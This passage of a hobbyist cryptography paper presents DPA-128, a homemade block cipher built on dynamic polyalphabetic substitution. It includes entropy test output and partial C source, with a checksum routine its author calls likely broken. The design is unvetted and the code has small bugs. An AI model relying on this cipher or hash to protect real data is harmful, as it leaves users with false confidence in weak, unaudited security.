    Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
```

This is known as the "Vigenere Table", because it was invented by Blaise
Vigenere (a French mathematician, if you care). Unlike transposition and
substitution, a key is required.

Assume my secret key is:

```
          BLEH
```

Assume my secret message is:

```
          LAST ATTEMPT
```

```
The ciphertext is the intersection of each character of the secret key with
each character of the secret message. Key characters are seeked on the very
first line, and message characters are seeked on the very first column.
Since the key is shorter than the message, it is padded with itself so that
it becomes:
        BLEHBLEHBLE

If it was longer, then either the message would be padded with random crap
or the key would be truncated (this is more common).

The cipher is obtained by replacing a letter in the message by the
intersection of current message character and current key character in the
table. The secret message becomes:
       MLWABUXLNAX

As you may notice, even though a character may appear two or more times in
the plaintext, it is not encrypted the same way in the ciphertext depending
on which character from the key is used for the substitution. This is what
"polyalphabetic" means in "polyalphabetic substitution". It was known for a
while as the "unbreakable cipher" and a variant was used successfuly during
Second World War by the Resistance against the Germans.

While this sounds stronger than transposition and substitution, it is still
very weak and unless a RNG is used to generate a key that is as long as the
data to encrypt (one-time pad), it is possible to recover the key size, the
key itself and/or the message with enough data to analyze. The methods used
to break this kind of cipher is out of the scope of this paper but a search
on google will give you enough hints ;)

Polyalphabetic tables have three interesting properties:
    a) f(a, b) == c
       f(a, b) == f(b, a)
       but... f(a, c) != b
       and assuming c = f(a, b), then there is a f1 such as f1(a, c) == b

    b) using the ASCII layout, there are 256^2 combinations which will
       produce 256 possible results (including the original character).

    c) if we assume that the key is truly random AND has the same size
       as the message to encrypt, then all results are equiprobable.

and equiprobability means that:
  - if you only take one character in the ciphertext, then you have as
    many chances for it to be any cleartext character. They all appear
    the exact same number of times in the table and are the result of
    as many combinations each.

  - there is no "useless" substitution. If substitution of character 'A'
    results in character 'A', then it is not considered as a useless
    substitution as it had as many chances to be out than any other.


----[ 1.2 - Weaknesses in polyalphabetic substitution

        As I previously said, the above cipher is weak. The weaknesses are
numerous and mostly related to the cipher leaking informations about the
cleartext, the key and/or the substitution table. If one can encrypt data
using the same key, he can determine the size of the key with one message
and determine the structure of the substitution table with another, giving
him all the necessary information to understand the ciphertext and any
other ciphertext encrypted using the same key. But don't get this wrong,
he doesn't HAVE to be able to encrypt data, this is just a convenience ;)
The fact that the key is concatenated to itself does not make a change,
and actually an implementation on computer would work on data using a
modulo on the size of the key to save memory.

The reasons why it is so easy are described here:
        - if one chooses a key A and a key B such as they only differ by
          one bit, then the ciphertext will only differ by one byte.
```

- if one chooses a message A and a message B such as they also only differ by one bit, then the ciphertext will differ by one byte.

- if one changes one bit in ciphertext and decrypts it, the resulting message will only differ by one byte.

- if one has partial knowledge of the key, or of the message, then he can determine which substitutions are not probable and therefore reduce drastically the complexity of an attack. Also partial knowledge of the key or the message gives statistical analysis a chance to break the ciphertext when polyalphabetic substitution had all the characteristics needed to prevent that from happening.

So... let’s sum things up. Polyalphabetic substitution as described above is vulnerable to chosen texts attack, known texts attack, key correlation attack and eventually statistical attacks. Oh... almost forgot... any partial information reveals information about other unrelated data. If I partially know the plaintext, then with access to the ciphertext I am able to recover partially the key, with partial knowledge of the key and access to the ciphertext, i am able to recover partially the plaintext. There is not one point of failure, there are only points of failures...

----[1.3 - Theory of information

Shannon described two properties that a block cipher should have in order to be strong. Not that all ciphers respecting these are strong, but those that do not respect it are most likeley weak.
These properties are ’confusion’ and ’diffusion’. The first one is what we achieve with polyalphabetic substitution, incapacity to deduce from a single encrypted byte, with no other information, the result of which substitution it is. This is because of the equiprobabiliy polyalphabetic tables gives us. The second is diffusion, which is lacking from the above cipher, and one of the reason why it is so vulnerable.
Diffusion is a characteristic where a minor cause produces a major result. It is sometimes called ’cascading effect’.

Basically, diffusion should ensure that a one-bit change in the key alters the whole ciphertext, that a one-bit change in the plaintext also alters the whole ciphertext and that a one-bit change in the ciphertext alters the whole plaintext. This complete alteration is only in appearance, and a better look at the complete ciphertext would reveal an average of half bits modified as you’ll notice in the output of ‘bitdiff‘ later in this paper.

While it is difficult to decide wether or not a cipher has a correct confusion and diffusion, they both produce an entropic result that can be measured using several methods. These methods will be used in this paper but explained further in the references. A cipher not producing true entropy is weak, true entropy (== white noise).

One way to add confusion is to ensure that the ciphertext is not dependant of the key on a character basis. Changing one bit of the key should change the whole ciphertext. This can be achieved by the use of a one-way hash function for key generation. Some one-way hash functions have properties that make them suitable for use, these are:

```
     h = f(M)
     - no matter the length of M, h has a fixed size
     - assuming M, it should be easy to compute h
     - assuming h, it should be difficult to compute M
     - a one-bit change in M alters half the bits in h (in average).
     - it should be hard to find a M’ to a fixed M such as f(M) = f(M’)
     - it should be hard to find any M and M’ such as f(M) = f(M’)
```

The two last properties seem to be identical but in practice it is "easier" to produce a random collision, than to produce a collision for an expected output. Assuming h is 128-bits long, finding a particular collision takes

at most 2^128 tries, while finding a collision takes at most 2^64 tries.
This is known as the anniversary attack.

The use of such a function will make key correlation hardly practicable as
choosing two keys that have a relation will result in subkeys that have no
relation at all, even if the relation is a single bit difference. I am not
even mentionning attacks based on partial knowledge of the key ;)

Also, this will prevent users from choosing weak keys, purposedly or not,
as it will be difficult to find a key that will produce a weak key
(assuming that there are weak keys ;) once passed throught the one-way hash
function. By weak key, I do not mean keys like "aaaa" or "foobar", but keys
that will produce a subkey that introduces a weakness in the encryption
process (such as DES's four weak keys).
The function not being reversible, partial knowledge of plaintext and
access to ciphertext does not reveal the key but the subkey from which you
cannot obtain information about the key. If the algorithm iterates for
several rounds, it is possible to generate subkeys by calling f on previous
subkey:

```
        round1:         f(k)
        round2:         f(f(k))
        round3:         f(f(f(k)))
        and so on...
```

Note that there is nothing that prevents an implementation from precomputing
the subkeys for better performances (this is what my implementation does)
instead of computing them for each block.
The characteristics remains, knowing the subkey for round3 does not give
information about the subkey used for round2 or round1. That is one of the
failure points plugged ;)
Finally, this will increase confusion by creating a relation between each
single bit of the user input key and each byte of the ciphertext.

Unfortunately, this is not enough. We added confusion but even though it
is theoritically not possible to retrieve the key, even by having access
to the full message and the full ciphertext, it is still possible with a
partial knowledge to retrieve the subkey and to decrypt any data that is
encrypted with the original key. This is where diffusion comes into play
with a method called 'byte chaining'. Byte chaining is to a block what
block chaining is to a ciphertext, a propagation of changes which will
affect all subsequent data. This is done with a simple Xor, where each
byte of the block is xor-ed with the next one (modulo size of the block
to have the last one be xor-ed with the first one). That way, a single
bit change in a byte will have repercussion on every byte after that one.
If the function used to encrypt data is called for more than one round,
then all bytes are guaranteed to have been altered by at least one byte.
This operation is done before encryption so that the result of an
encrypted byte is dependant not only of the current byte but of all the
ones that were used for the byte chaining. As rounds occur, cascading
effect takes place and the change propagates through the block.

It is possible to increase complexity by using a key-related permutation
before encryption. DPA-128 uses a key-related shifting instead but this
can be considered as a permutation in some way. Some functions known as
'string hash functions' can compute an integer value out of a string.
They are commonly used by C developpers to create hash tables and they
are pretty simple to write. It is possible to use these functions on a
subkey to create a key-related circular shifting within the block:

- we have a subkey for the round that we computed using f, this subkey
  is hashed to produce an integer. the hash function does not have to
  respect any constraints because of f properties. the paranoiac could
  implement a function that has low collisions and a nice repartition
  but since it is applied on the result of f, it inherits some of its
  characteristics.

- assuming the block size is 128, we reduce that integer to 128
  (7 bits) there is no magic stuff here, just a modulo.

- the result is used to shift the block circularly >>>

Note that the key-relation for the shifting has no more security than
a simple byte shifting - at least on Vigenere table - but only adds
more confusion. It was initially introduced as a security measure for
substitution tables that had not equiprobable results.
It prevents elimination of some substitution combinations by analyzing
which bits are set in an encrypted byte when you know its plaintext
equivalent. From the ciphertext, it is not possible to determine wether
a block was shifted (the hash value of the key could have been 0 or some
product of 128, who knows ;) and if it was shifted, it is not possible to
know where the bits come from (which byte they were on originally and
what was their position) which makes it difficult to determine if the
bit of sign on a particular byte is really a bit of sign or not and if it
was part of that byte or not. Also, the shifting is dependant from the
subkey used for a round so it will be different at each round and help
diffusion through the byte chaining phase.

Finally, it is possible, using the same method, to create a relation
between a subkey and the substitution table. This is where dynamic
polyalphabetic substitution comes into play !

As we've seen, a polyalphabetic substitution has 256^2 substitutions
with 256 outcomes. This means that if an attacker would want to try
all combinations possible, he would have to try 256 combinations
for a character to be sure the right couple was used (if he knew the
structure of the substitution table, or 256^2 otherwise). It is
possible to increase that value by creating a relation between the key
and the substitution table. There are 256 characters, so it is possible
to create 256 different tables by shifting ONE byte on each line:

```
        instead of:
        0 1 2 3 4 5 6 7 8 9 ...
        1 2 3 4 5 6 7 8 9 ...
        2 3 4 5 6 7 8
        3 4 5 6 7 8
        4 5 6 7 8
        5 ....
        ...

        we end with (n being the shift):
        n%256     (n+1)%256 (n+2)%256 (n+3)%256 (n+4)%256 (n+5)%256 ...
        (n+1)%256 (n+2)%256 (n+3)%256 (n+4)%256 (n+5)%256 ...
        (n+2)%256 (n+3)%256 (n+4)%256 (n+5)%256 (n+6)%256
        (n+3)%256 (n+4)%256 (n+5)%256 (n+6)%256 (n+7)%256
        (n+4)%256 (n+5)%256 (n+6)%256 (n+7)%256 (n+8)%256
        (n+5)%256 (n+6)%256 (n+7)%256 (n+8)%256 (n+9)%256
        (n+6)%256 ...
        ...
```

This means that an attacker would need to try 256^2 combinations
before he knows for sure the right combination was used. he needs to
try the same combinations as before but with every variation of 'n'.
'n' can be computed using the same method as for the block shifting
but since there are 256 possible shifts for the substitution table,
then the result will be reduced modulo 256 (8 bits).

The tables being structured in a logical way, they can be represented
by arithmetics which removes the need to store the 256 possible tables
and saves quite a bit of memory. It is also possible with more work to
create polyalphabetic s-tables that are shuffled instead of shifted,
such tables would still share the characteristics of polyalphabetism
but prevent partial knowledge of the table from deducing the full
internal structure. I did not have enough time to keep on working on
this so I am unable to give an example of these, however, simple
tables such as the one above is sufficient in my opinion.

k being the character from the key, d being the character from the
message and s being the shifting.

```
        encryption can be represented using this equation:
        (k + d + s) mod 256
        while decryption is:
        ((256 + d) - k - s) mod 256
```

The amusing part is that when you play with statistics, you get a very different view if you are in the position of the attacker or of the nice guy trying to keep his secret. Assuming there are 'n' rounds, then you have (256^2) * m substitutions useable where 1 <= m <= n and n <= 256. This is because some subkeys might produce identical substitution tables. In another hand, and im not doing the maths for this ;), the attacker has not only to figure out which substitutions were done, but also the tables in which they were done... in the exact same order... out of data that does not inform him on the subkeys used to generate the tables he is trying to determine the structure of ;)

The result is NOT equiprobable, because it would require exactly 256 rounds with different tables which is hardly doable (just determining if it is doable requires trying 2^128^256 keys if im correct), but from the attacker point of view, even an exhaustive search might create an indecision because many keys will probably result in the same cipher if applied to different messages (many will produce the same cipher if applied to garbage too ;).

--[2 - IMPLEMENTATION OF DPA-128

As I said, DPA-128 is a secret-key block cipher. Its block and key size are 128-bits. This is not a limitation imposed by the algorithm which is easily adaptable to different key and block sizes. It consists of 16 rounds, each performing:
   - a byte chaining;
   - a subkey-related shifting;
   - a subkey-related polyalphabetic substitution;
All of the rounds have their own subkey.
The implementation uses all of the ideas explained in this paper and before I provide the code, here are a few tests performed on it.

----[2.1 - DPA-128 used as a one way hash function

Bruce Schneier explained in "Applied Cryptography" that some ciphers can be turned into one way hash functions by using them in BC modes (CBC for that matter) using a fixed key and initialization vector with more or less efficiency. It is hard to determine if DPA-128 is efficient because it was not been analyzed by many people and I consider it as efficient to produce checksums as to encrypt. If there is a weakness in the cipher then the checksum will not be secure. The same applies to DPA-128 used as a PRNG. So... I did some testing ;)

I used three tools, the first one 'bitdiff' is a little utility that goes through two files and compares them bit per bit. It then outputs the number of bits that have changed and the repartition of zero's and one's. A sample output looks like this:

```
% ./bitdiff file1 file2
64 bits have changed.
ratio for file1:
        0's: 55
        1's: 73

ratio for file2:
        0's: 71
        1's: 57
```

I also used a tool 'segments', which counts segments of identical bits in a file. A sample output looks like this:

```
% ./segments file1
0's segments:
        1 => 19
        2 => 6
        3 => 4
        4 => 0

1's segments:
        1 => 13
        2 => 7
        3 => 3
        4 => 3
```

Finally, I used an existing tool called 'ent' which is available at
   http://www.fourmilab.ch/random/

which performs several entropy tests, helping determine:

- if DPA-128 passes deterministic tests and how does it compare to a PRNG (I used NetBSD's /dev/urandom).
- what is the impact to a checksum when a bit changes in a file.

Theoritically, an equiprobable cipher would not be a nice idea for a one-way hash function as it would be easily subject to collisions, but as I explained, the result seems to be equiprobable while there is a limited range of possible substitution for a fixed key.

I checksum-ed /etc/passwd three times, the first one was the real file, the second one was the file with a one bit change and the third one was the file with a 6 bytes addition. All bytes where affected, tests with bitdiff showed that a one bit change produced an average of 60 bits modified in the 128 bits checksum.

```
% ./dpa sum passwd |hexdump
0000000 be85 3b72 1a76 48e6 5d08 939b 104f 3f23
0000010

% ./dpa sum passwd.1 | hexdump
0000000 f9d3 c5fe d146 2170 144d 900d 0e99 c64b
0000010

% ./dpa sum passwd.2 | hexdump
0000000 fa19 4869 3f61 798a 2e81 91e9 bc92 78ee
0000010
```

After i redirected the checksums to files, i call bitdiff on them. The files do not contain the hexadecimal representation, but the real 128 bits outputs:

```
% ./bitdiff passwd.chk passwd.1.chk
63 bits have changed.
ratio for passwd.chk:
        0's: 65
        1's: 63

ratio for passwd.1.chk:
        0's: 68
        1's: 60
% ./bitdiff passwd.chk passwd.2.chk
61 bits have changed.
ratio for passwd.chk:
        0's: 65
        1's: 63

ratio for passwd.2.chk:
        0's: 64
        1's: 64
```

You'll notice a nice repartition of zero's and one's, lets' see what segments has to say about this:

```
% ./segments passwd.chk
0's segments:
        1 => 13
        2 => 10
        3 => 3
        4 => 2

1's segments:
        1 => 15
        2 => 4
        3 => 5
        4 => 0

% ./segments passwd.1.chk
0's segments:
        1 => 11
        2 => 8
        3 => 5
        4 => 3
        5 => 0

1's segments:
        1 => 13
        2 => 9
        3 => 2
        4 => 0
        5 => 1

% ./segments passwd.2.chk
0's segments:
        1 => 12
        2 => 10
        3 => 3
        4 => 1
        5 => 0

1's segments:
        1 => 16
        2 => 3
        3 => 4
        4 => 3
        5 => 1
```

Well all we can notice is that there are mostly small segments and that they are well reparted. I'm skipping the entropy test since it will illustrate the use of DPA-128 as a PRNG ;)

----[2.2 - DPA-128 used as PRNG

For the following tests concerning segments and entropy:
- the file 'urandom.seed' consists in 1024 bytes read from NetBSD 1.6.1's /dev/urandom
- the file 'dpa.seed' consists in the result of an ECB encryption on dpa's main.c and a reduction of the output to 1024 bytes.

This means that while tests on urandom.seed apply to the result of a PRNG, the tests on dpa.seed can be reproduced. It shows good entropy on encrypting a fixed value and the results should be quite the same if used as a PRNG. The tests that are performed by 'ent' are described on their website, I'm not going to describe them here because it is out of the scope of this paper and I would do it far less better than their page does.

```
% ./segments urandom.seed
0's segments:
        1 => 1019
        2 => 418
        3 => 212
        4 => 88
        5 => 35
        6 => 18

1's segments:
        1 => 1043
        2 => 448
        3 => 179
        4 => 74
        5 => 32
        6 => 13


% ./segments dpa.seed
0's segments:
        1 => 1087
        2 => 443
        3 => 175
        4 => 72
        5 => 29
        6 => 18

1's segments:
        1 => 1039
        2 => 453
        3 => 195
        4 => 67
        5 => 34
        6 => 15

% ./ent -b urandom.seed
Entropy = 0.999928 bits per bit.

Optimum compression would reduce the size
of this 8192 bit file by 0 percent.

Chi square distribution for 8192 samples is 0.82, and randomly
would exceed this value 50.00 percent of the times.

Arithmetic mean value of data bits is 0.4950 (0.5 = random).
Monte Carlo value for Pi is 3.058823529 (error 2.63 percent).
Serial correlation coefficient is -0.002542 (totally uncorrelated = 0.0).


% ./ent -b dpa.seed
Entropy = 1.000000 bits per bit.

Optimum compression would reduce the size
of this 8192 bit file by 0 percent.

Chi square distribution for 8192 samples is 0.00, and randomly
would exceed this value 75.00 percent of the times.

Arithmetic mean value of data bits is 0.5000 (0.5 = random).
Monte Carlo value for Pi is 3.200000000 (error 1.86 percent).
Serial correlation coefficient is -0.003906 (totally uncorrelated = 0.0).


% ./ent -bc urandom.seed
Value Char Occurrences Fraction
  0            4137   0.505005
  1            4055   0.494995

Total:         8192   1.000000

Entropy = 0.999928 bits per bit.

Optimum compression would reduce the size
of this 8192 bit file by 0 percent.

Chi square distribution for 8192 samples is 0.82, and randomly
would exceed this value 50.00 percent of the times.
```

```
Arithmetic mean value of data bits is 0.4950 (0.5 = random).
Monte Carlo value for Pi is 3.058823529 (error 2.63 percent).
Serial correlation coefficient is -0.002542 (totally uncorrelated = 0.0).


% ./ent -bc dpa.seed
Value Char Occurrences Fraction
  0             4096   0.500000
  1             4096   0.500000

Total:          8192   1.000000

Entropy = 1.000000 bits per bit.

Optimum compression would reduce the size
of this 8192 bit file by 0 percent.

Chi square distribution for 8192 samples is 0.00, and randomly
would exceed this value 75.00 percent of the times.

Arithmetic mean value of data bits is 0.5000 (0.5 = random).
Monte Carlo value for Pi is 3.200000000 (error 1.86 percent).
Serial correlation coefficient is -0.003906 (totally uncorrelated = 0.0).
```

The last tests must have given you an idea of the confusion, diffusion and
entropy present in a DPA-128 encrypted ciphertext. More results are
available online on my webpage, I just did not want to put too much in
here since they all look the same ;)

--[3 - Acknowledgment

I would like to thank a few people:
  k` who helped me with previous versions and some parts of dpa-128,
  acid, who supported my endless harassement (hey try this please !),
  pitufo for being the first dpa-128 tester and benchmarker,
  hypno for reading this and spot bad sentences :)
  br1an for reading this also and giving advices,
  a ph.d whose name will remain private who audited dpa-128
  and mayhem who both suggested to write a paper about dpa.

--[4 - REFERENCES

     . http://www.tristeza.org/projects/dpa/
       my page for the dpa project with examples and a lot of testing

     . http://www.csua.berkeley.edu/cypherpunks/
       cypherpunks

     . http://www.fourmilab.ch/random/
       entropy tests and their description

     . http://www.schneier.com/paper-blowfish-fse.html
       a paper on blowfish and what features a cipher should provide

     . "applied cryptography", Bruce Schneier
       THE book ;)

--[5 - Source Code

All of the code is provided under the ISC license, do whatever you want
with it, but please please don't use it to encrypt sensitive data unless
you know what you are doing (that means you could not break it and have
confidence in your skills). The code is NOT optimized for speed, it is
a work in progress and many parts can be improved, i'm just a bit in a
hurry and by the time you read this, it will probably be a lot cleaner ;)

If you plan on using dpa-128 even though I'm still warning you not to, here are a few recommandations:

```
     - the following code accepts keys both as parameter or as file. It
       is preferable for many reasons to use a file, but the best reason
       (aside from someone issueing a `ps` at the wrong moment...) is that
       you can have your key be the result of a PRNG:

       % dd if=/dev/urandom of=/home/veins/.dpa/secret.key bs=1024 count=1

       The odds of someone guessing your key become pretty low :)


     - use CBC mode. the impact of using CBC mode on performances is too
       low to be an excuse for not using it.

       To encrypt:
       % dpa -a enc -m cbc -k file:secret.key -d file:/etc/passwd -o p.enc

       To decrypt:
       % dpa -a dec -m cbc -k file:secret.key -d file:p.enc -o p.dec
```

```
/*
 * Copyright (c) 2004 Chehade Veins <veins at tristeza.org>
 *
 * Permission to use, copy, modify, and distribute this software for any
 * purpose with or without fee is hereby granted, provided that the above
 * copyright notice and this permission notice appear in all copies.
 *
 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
 * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
 * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
 * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
 * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
 */

8<- - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - -
/* bitdiff.c */
/*
 * This is a small utility to compare the bits in two files. It is ugly
 * and could be rewritten in a sexier way but it does its job so no
 * need to waste time on it ;)
 *
 */
#include <sys/stat.h>
#include <sys/mman.h>

#include <fcntl.h>
#include <sysexits.h>

int     main(int argc, char *argv[])
{
  int   i;
  int   size1, size2;   /* size counters */
  char  *s1, *s2;
  int   s1_0, s1_1;     /* in s1: 0s and 1s counter */
  int   s2_0, s2_1;     /* in s2: 0s and 1s counter */
  int   fd1, fd2;
  unsigned int  cnt;
  unsigned int  diff;
  unsigned int  total;
  struct stat   sa;
  struct stat   sb;

  if (argc < 3)
    return (EX_USAGE);

  fd1 = open(argv[1], O_RDONLY);
  fd2 = open(argv[2], O_RDONLY);
  if (fd1 < 0 || fd2 < 0)
    return (EX_SOFTWARE);

  fstat(fd1, &sa);
  fstat(fd2, &sb);

  size1 = sa.st_size;
  size2 = sb.st_size;

  s1 = mmap(NULL, sa.st_size, PROT_READ, MAP_PRIVATE, fd1, 0);
  s2 = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd2, 0);
  if (s1 == (void *)MAP_FAILED || s2 == (void *)MAP_FAILED)
    return (EX_SOFTWARE);

  s1_1 = s2_1 = s1_0 = s2_0 = diff = total = 0;
  while (size1 && size2)
    {
      for (i = 7, cnt = 0; i >= 0; --i, ++cnt)
        {
          if (((*s1 >> i) & 0x1) != ((*s2 >> i) & 0x1))
            ++diff;

          if ((*s1 >> i) & 0x1)
            ++s1_1;
          else if (((*s1 >> i) & 0x1) == 0)
            ++s1_0;

          if ((*s2 >> i) & 0x1)
            ++s2_1;
          else if (((*s2 >> i) & 0x1) == 0)
            ++s2_0;

          ++total;
        }
      ++s1; ++s2; size1--; size2--;
    }

  if (diff == 0)
    printf("bit strings are identical\n");
  else
    {
      printf("%d bits have changed.\n", diff, total);
      printf("ratio for %s:\n", argv[1]);
      printf("\t0's: %d\n", s1_0);
      printf("\t1's: %d\n", s1_1);
      printf("\n");
      printf("ratio for %s:\n", argv[2]);
      printf("\t0's: %d\n", s2_0);
      printf("\t1's: %d\n", s2_1);
    }

  munmap(s1, sa.st_size);
  munmap(s2, sb.st_size);

  return (EX_OK);
}

8<- - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - -
/* segments.c */
/*
 * This is a small utility to count the segments of identical bits in a
 * file. It could also be rewritten in a sexier way but...
 *
 */
#include <sys/mman.h>
#include <sys/stat.h>

#include <fcntl.h>
#include <sysexits.h>
```

```
int     main(int argc, char *argv[])
{
  int   i;
  int   fd;
  int   cnt;
  int   last;
  int   biggest;
  int   size;
  char  *map;
  struct stat   sb;
  unsigned int  STATS[2][32];

  if (argc < 2)
    return (EX_USAGE);

  /* Initialize the segments counters */
  for (cnt = 0; cnt < 2; ++cnt)
    for (i = 0; i < 32; ++i)
      STATS[cnt][i] = 0;

  /* Open and map the file in memory */
  fd = open(argv[1], O_RDONLY);
  if (fd < 0)
    return (EX_SOFTWARE);
  fstat(fd, &sb);
  map = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
  if (map == (void *)MAP_FAILED)
    return (EX_SOFTWARE);

  last = -1;
  biggest = 0;
  size = sb.st_size;

  while (size--)
    {
      for (i = 7, cnt = 0; i >= 0; --i, ++cnt)
        {
          if ((*map >> i) & 0x1)
            {
              if (last == 0)
                {
                  if (cnt > biggest)
                    biggest = cnt;
                  if (cnt >= 32)
                    errx(EX_SOFTWARE, "This cannot be an entropy source ;)");
                  STATS[last][cnt] += 1;
                  cnt = 0;
                }
              last = 1;
            }
          else
            {
              if (last == 1)
                {
                  if (cnt > biggest)
                    biggest = cnt;
                  if (cnt >= 32)
                    errx(EX_SOFTWARE, "This cannot be an entropy source ;)");
                  STATS[last][cnt] += 1;
                  cnt = 0;
                }
              last = 0;
            }
        }
      ++map;
    }
  munmap(map, sb.st_size);

  printf("0's segments:\n");
  for (i = 1; i < biggest; i++)
    printf("\t%d => %d\n", i, STATS[0][i]);

  printf("\n1's segments:\n");
  for (i = 1; i < biggest; i++)
    printf("\t%d => %d\n", i, STATS[1][i]);

  return (EX_OK);
}
8<- - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - -
```

Again, the source code that follows is a work in progress, and some parts
deserve a cleaner rewrite. data.c is truly ugly ;)
It was tested on Linux & BSD/i386, SunOS/sparc and OSF1/alpha, if it does
not run on your unix box, porting it should be trivial.

```
8<- - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - -
# Makefile
NAME    =       dpa
SRCS    =       main.c\
                bitshift.c\
                bytechain.c\
                blockchain.c\
                E.c\
                D.c\
                S_E.c\
                S_D.c\
                iv.c\
                ecb.c\
                cbc.c\
                checksum128.c\
                hash32.c\
                key.c\
                data.c\
                sum.c\
                usage.c

OBJS    =       $(SRCS:.c=.o)

CFLAGS  =

LDFLAGS =

$(NAME) :       $(OBJS)
        cc -o $(NAME) $(OBJS) $(LDFLAGS)

clean   :
        rm -f *.o *~

fclean  :       clean
        rm -f $(NAME)

re      :       fclean  $(NAME)


8<- - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - -
/* include/dpa.h */
#ifndef _DPA_H_
#define _DPA_H_

#define DPA_KEY_SIZE    16
#define DPA_BLOCK_SIZE  16

#define DPA_ENCRYPT     0
#define DPA_DECRYPT     1

#define DPA_MODE_ECB    0
#define DPA_MODE_CBC    1

struct s_dpa_sub_key {
  unsigned char key[DPA_KEY_SIZE];
  unsigned char shift;
};
typedef struct s_dpa_sub_key    DPA_SUB_KEY;

struct s_dpa_key {
  struct s_dpa_sub_key  subkey[16];
};
typedef struct s_dpa_key        DPA_KEY;

struct s_dpa_data {
  unsigned char *data;
  unsigned long length;
};
typedef struct s_dpa_data       DPA_DATA;


void            checksum128(unsigned char *, unsigned char *, unsigned int);
unsigned long   hash32(unsigned char *, unsigned int);

unsigned char   dpa_encrypt(unsigned int, unsigned int, unsigned int);
unsigned char   dpa_decrypt(unsigned int, unsigned int, unsigned int);

void    DPA_ecb_encrypt(DPA_KEY *, DPA_DATA *, DPA_DATA *);
void    DPA_ecb_decrypt(DPA_KEY *, DPA_DATA *, DPA_DATA *);

void    DPA_cbc_encrypt(DPA_KEY *, DPA_DATA *, DPA_DATA *);
void    DPA_cbc_decrypt(DPA_KEY *, DPA_DATA *, DPA_DATA *);

void    DPA_sum(DPA_KEY *, DPA_DATA *, DPA_DATA *);

void    DPA_set_key(DPA_KEY *, unsigned char *, unsigned int);
void    DPA_set_keyfile(DPA_KEY *, char *);
void    DPA_set_data(DPA_DATA *, unsigned char *, unsigned int);
void    DPA_set_datafile(DPA_DATA *, char *);
void    DPA_set_ciphertext(DPA_DATA *, DPA_DATA *, int, int);
void    DPA_write_to_file(DPA_DATA *, char *);
void    DPA_sum_write_to_file(DPA_DATA *, char *);

void    rbytechain(unsigned char *);
void    lbytechain(unsigned char *);

void    rbitshift(unsigned char *, unsigned int);
void    lbitshift(unsigned char *, unsigned int);

void    blockchain(unsigned char *, unsigned char *);

void    IV(unsigned char *);

void    E(unsigned char *, unsigned char *, unsigned int);
void    D(unsigned char *, unsigned char *, unsigned int);
void    S_E(unsigned char *, unsigned char *, unsigned int);
void    S_D(unsigned char *, unsigned char *, unsigned int);

void    usage(void);

#endif


8<- - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - - 8< - - - - - -
/* checksum128.c */
/* NEEDS_FIX */
/*
 * This function creates a 128 bits (16 bytes) checksum out of a variable
 * length input. It has NOT been verified so it is most likely broken and
 * subject to collisions even though I was not able to find any myself.
 *
 * The following constraints need to be respected:
 * - the function has to return a 128 bits value no matter what;
 * - it should be difficult to determine the result by knowing the input;
 * - it should be difficult to determine the input by knowing the result;
 * - it should be difficult to find an input that will produce an identic
 *   result as a known input;
 * - it should be difficult to find two inputs that will produce the same
 *   result;
 * - it should be easy to compute the result of an input;
 *
 * If checksum128() happens to be broken, DPA-128 could be fixed by
 * replacing it with any one-way hash function that produces a 128 bits
 * output (MD5 comes to mind first ;).
 */

#define __NBROUNDS      32
void    checksum128(unsigned char *key, unsigned char *skey, unsigned int size)
{
  unsigned int  cnt;
  unsigned int  length;
  unsigned long a;
  unsigned long b;
  unsigned long c;
  unsigned long d;
  unsigned char *save;

  /* Initialization of contexts */
  a = 0xdeadbeef;
  b = 0xadbeefde;
  c = 0xbeefdead;
  d = 0xefdeadbe;

  for (cnt = 0; cnt < __NBROUNDS; ++cnt)
    {
      for (length = 0, save = key; length < size; ++save, ++length)
        {
          /* each context is first summed up with the cumplement of
           * the current ascii character.
           */
          a = (a + ~(*save));
          b = (b + ~(*save));
          c = (c + ~(*save));
          d = (d + ~(*save));

          /* Confusion */
          /*
           * Context A is summed with the product of:
           * - cumplement of B, C and cumplement of D;
           *
           * Context B is summed with the product of:
           * - cumplement of C, D and cumplement of A;
           *
           * Context C is summed with the product of:
           * - cumplement of D, A and cumplement of B;
           *
           * Context D is summed with the product of:
           * - cumplement of A, B and cumplement of C;
           *
           * Every context has a repercussion on all others
           * including itself, and multiplication makes it
           * hard to determine the previous values of each
           * contexts after a few rounds.
           */
          a += ~b * c * ~d;
          b += ~c * d * ~a;
          c += ~d * a * ~b;
          d += ~a * b * ~c;
        }

      /* Diffusion */
      /*
       * The bytes of each contexts are shuffled within the
       * same context, the first byte of A becomes the last
       * which becomes the first. the second becomes the
       * third which becomes the second. This permutation
       * is also applied to B, C and D, just before they go
       * through another round.
       */
      a = (((a & 0x000000ff) << 24) +
           ((a & 0x0000ff00) << 8) +
           ((a & 0x00ff0000) >> 8) +
           ((a & 0xff000000) >> 24));
      b = (((b & 0x000000ff) << 24) +
           ((b & 0x0000ff00) << 8) +
           ((b & 0x00ff0000) >> 8) +
           ((b & 0xff000000) >> 24));
      c = (((c & 0x000000ff) << 24) +
           ((c & 0x0000ff00) << 8) +
           ((c & 0x00ff0000) >> 8) +
           ((c & 0xff000000) >> 24));
      d = (((d & 0x000000ff) << 24) +
           ((d & 0x0000ff00) << 8) +
           ((d & 0x00ff0000) >> 8) +
           ((d & 0xff000000) >> 24));
    }

